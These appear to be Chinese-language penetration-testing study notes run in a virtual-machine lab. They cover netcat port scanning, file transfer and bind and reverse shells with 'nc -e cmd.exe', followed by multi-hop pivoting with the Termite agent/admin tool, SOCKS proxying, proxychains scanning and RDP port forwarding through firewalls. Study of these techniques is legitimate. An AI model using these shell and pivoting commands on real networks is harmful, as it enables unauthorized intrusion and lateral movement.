NC工具的使用
内网穿透工具termite
SSH代理使用
MSF穿越多级网络
端口复用
PART 1: NC及穿透内网工具使用 本地要ngrok转发才行
Nc使用详解
tcp监听
nc可以作为server端启动一个tcp的监听,默认情况下下面监听的是一个tcp的端口
nc -l -p 9999
客户端测试
1、在B机器上telnet A机器此端口,如下显示表示B机器可以访问A机器此端口
telnet 10.0.1.161 9999
2、B机器上也可以使用nmap扫描A机器的此端口
nmap 10.0.1.161 -p9999
3、使用nc命令作为客户端工具进行端口探测
nc -vz -w 2 10.0.1.161 9999
(-v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字)
服务端会自动关闭监听。
4、nc可以扫描连续端口,这个作用非常重要。常常可以用来扫描服务器端口,然后给服务器安全加固
在客户端B机器上扫描连续的两个端口,如下
nc -vzw 2 10.0.1.161 9998-9999
Nc传文件
方法1,先启动接收命令
使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了
把A机器上的一个rpm文件发送到B机器上
需注意操作次序,receiver先侦听端口,sender向receiver所在机器的该端口发送数据。
步骤1,先在B机器上启动一个接收文件的监听,格式如下
意思是把赖在9995端口接收到的数据都写到file文件里(这里文件名随意取)
格式:nc -l port >file
nc -l -p 9995 >zabbix.rpm
步骤2,在A机器上往B机器的9995端口发送数据,把下面rpm包发送过去
nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm
方法2,先启动发送命令
步骤1,先在B机器上,启动发送文件命令
下面命令表示通过本地的9992端口发送test.mv文件
nc -l -p 9992 <test.mv
步骤2,A机器上连接B机器,取接收文件
下面命令表示通过连接B机器的9992端口接收文件,并把文件存到本目录下,文件名为test2.mv
nc 10.0.1.162 9992 >test2.mv
Nc反弹shell
方法1、REMOTE主机绑定SHELL
在公网监听
nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
或者
nc -l -p 5555 -t -e cmd.exe
在内网主动建立连接
nc -nvv 192.168.153.138 5555
-t是通过telne模式执行 cmd.exe 程序,可以省略。
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
方法2、REMOTE主机绑定SHELL并反向连接
在公网监听
nc -lp 5555
在内网机器反弹
nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
或者
nc -t -e cmd 192.168.153.140 5555
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
---------------------------------------------------------------------------------
模拟:链接和扫描
NC可以上传文件,下载文件,shell,电子取证,也可以建立连接聊天
还可扫端口 类似与nmap
NC属于cs架构,客户端,服务端
Linux也可以连接windows
windows工具在内网安全nc里
模拟:
把nc放进目标虚拟机
在把nc放进物理机
目标03机
是命令行的:nc.exe -l -p 12345 //-l是侦听 -p是端口
物理机nc
nc.exe 目标地址 目标所侦听的端口
注意这种聊天是没加密的,需要加密就得安装安全套接层.ssh加密之类的
端口扫描
物理机扫描虚拟机:
nc -vz -w 2 10.0.1.161 9999
nc -vzw 2 10.0.1.161 9998-9999
--------------
模拟上传文件
客户端传服务端
目标机输入:
格式:nc -l port >file
nc -l -p 9995 >zabbix.rpm //在目标机侦听端口,接受物理机(vps)的文件并保存到zabbix.rpm格式,大于号代表接受文本保存格式
客户机输入
nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm 小于号代表传输文件
服务端传客户端
目标机输入
nc -l -p 9992 <test.mv
客户机输入
nc 10.0.1.162 9992 >test2.mv
如果客户机侦听,目标机来链接,客户机启动链接我的就会发送文件,那么目标机防火墙就不会拦截
----------------------------------------------------------
以下是新的工具
PART 2: termite工具使用
工具在内网安全Termite
termite
程序地址, http://rootkiter.com/Termite/
一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适用性更强,操作也极为简便
程序分为两部分,admin[为控制端]和agent[为代理端节点],admin和agent所有选项用途均一致
-l 指定本地socks端口,等待远程连
-c 指定远程socks机器ip
-p 指定远程socks机器端口
管理端叫admin
服务端为agent
不同的系统服务端直接运行即可
win10物理机
03:桥接/vm1 169.254.38.181/192.168.25.129
win7:vm1/vm2 192.168.25.128/ 192.168.18.129
xp:vm2 192.168.18.128
把服务端agent_win32.exe放到桌面
test
1. 以服务模式启动一个agent服务。
> $ ./agent -l 8888
2. 令管理端连接到agent并对agent进行管理。
> $ ./admin -c 127.0.0.1 -p 8888
3. 此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。
>> help
4. 通过show指令可以得到当前agent的拓扑情况。
>> show
0M
+-- 1M
由于当前拓扑中只有一个agent,所以展示结果只有 1M ,
其中1 为节点的ID号,
M为MacOS系统的简写,Linux为L,Windows简写为W。
5. 将新agent加入当前拓扑
> ./agent -c 127.0.0.1 -p 8888
6. 此时show指令将得到如下效果
0M
+-- 1M
| +-- 2M
这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。
模拟:
03:桥接/vm1 路径转到桌面 agent_Win32.exe -l 6666 //侦听上6666
win7:vm1/vm2 agent_Win32.exe -l 7777
xp:vm2 agent_Win32.exe -l 8888
第一步.物理机链接03 admin_win32.exe -c 169.254.38.181 -p 6666
第二步 show 查看会话
第三部 goto 1 //选择链接03
第四部 connect 192.168.25.128 7777
第五步 goto 2
第六步 connect 192.168.18.128 8888
管理成功
可以执行
socks代理
端口转发
shll
上传下载
show 查看会话,help帮助
上传文件upfile d:\1.txt 1.txt
调用shell: shell 1188 会在我本地开个端口
在本地打开cmd:nc 127.0.0.1 1188 // 得借助nc
linux有个工具叫proxychains
termite创建socks 1080
本地安装prixychains驱动nmap扫描其他内网,就会把我的流量转发给xp
由xp来扫描整个网络
端口转发
lcxtran [lport] [rhost] [rport]
把xp的内网地址和3389转发到我这里1234端口
在用本地的stic连接本地的3389 就等于连接xp的3389
也可以反向连接 xp连接win7 ,win7连接03 , 物理机链接03,前提win7 xp 03开启侦听和主动侦听,可以过防火墙
linux放进去服务端
chmod 777 agent_linux_i586
./agent_linux_i586 -l 1133
物理机正常链接linux即可